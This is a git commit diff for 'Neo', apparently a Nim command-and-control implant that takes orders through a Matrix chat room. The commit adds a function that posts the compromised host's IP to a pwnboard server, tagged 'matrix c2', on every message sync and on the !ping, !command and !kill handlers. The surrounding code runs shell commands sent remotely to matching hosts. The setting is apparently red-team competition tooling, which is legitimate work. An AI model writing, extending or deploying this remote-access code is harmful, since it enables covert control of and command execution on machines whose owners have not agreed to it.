Added pwnboard reporting

This commit is contained in:
connorgadbois 2026-04-06 11:09:04 -05:00
parent 1f993e551f
commit d9afa45065
2 changed files with 36 additions and 0 deletions

View File

@ -13,6 +13,9 @@ const
password: string = "password123"
server: string = "matrix.org"
roomId: string = "!bsafgr3AAmy8gHdrcy:matrix.org"
usePwnboard: bool = true
pwnboardUrl: string = "https://pwnboard.win/pwn"
pwnboardToken: string = "pwnboard-token-here"
```
## Building

View File

@ -12,12 +12,33 @@ const
password: string = ""
server: string = ""
roomId: string = ""
usePwnboard: bool = true
pwnboardurl: string = ""
pwnboardToken: string = ""
var token: string
var nextBatch: string
var ip: string = $getPrimaryIPAddr()
var transactionId: int = parseInt(strip(ip, chars={'.'})) * 1000000
proc reportPwnBoard(ip: string): void =
let client: HttpClient = newHttpClient()
client.headers = newHttpHeaders({
"Content-Type": "application/json",
"Authorization": "Bearer " & pwnboardToken
})
let payload: JsonNode = %*{
"ip": ip,
"application": "Neo",
"access_type": "matrix c2"
}
try:
discard client.post(pwnboardUrl, $payload)
except:
discard
proc matchIp(ip, pattern: string): bool =
let ipParts = ip.split('.')
let patternParts = pattern.split('.')
@ -79,6 +100,9 @@ proc syncMessages(client: HttpClient): seq[string] =
if event["content"].hasKey("msgtype"):
if event["content"]["msgtype"].getStr() == "m.text" and event["sender"].getStr() != "@" & username & ":" & server:
messages.add(event["content"]["body"].getStr())
if usePwnboard:
reportPwnBoard(ip)
return messages
@ -136,6 +160,9 @@ proc main(): void =
if splitMessage.len >= 1:
# Ping
if splitMessage[0] == "!ping":
if usePwnboard:
reportPwnBoard(ip)
if splitMessage.len >= 2:
if matchIp(ip, splitMessage[1]):
sendMessage(client, "Pong!")
@ -145,6 +172,9 @@ proc main(): void =
# Command
if splitMessage[0] == "!command" and splitMessage.len >= 3:
if matchIp(ip, splitMessage[1]):
if usePwnboard:
reportPwnBoard(ip)
var commandOutput: string
try:
@ -161,6 +191,9 @@ proc main(): void =
# Kill
if splitMessage[0] == "!kill" and splitMessage.len >= 2:
if matchIp(ip, splitMessage[1]):
if usePwnboard:
reportPwnBoard(ip)
quit()
except: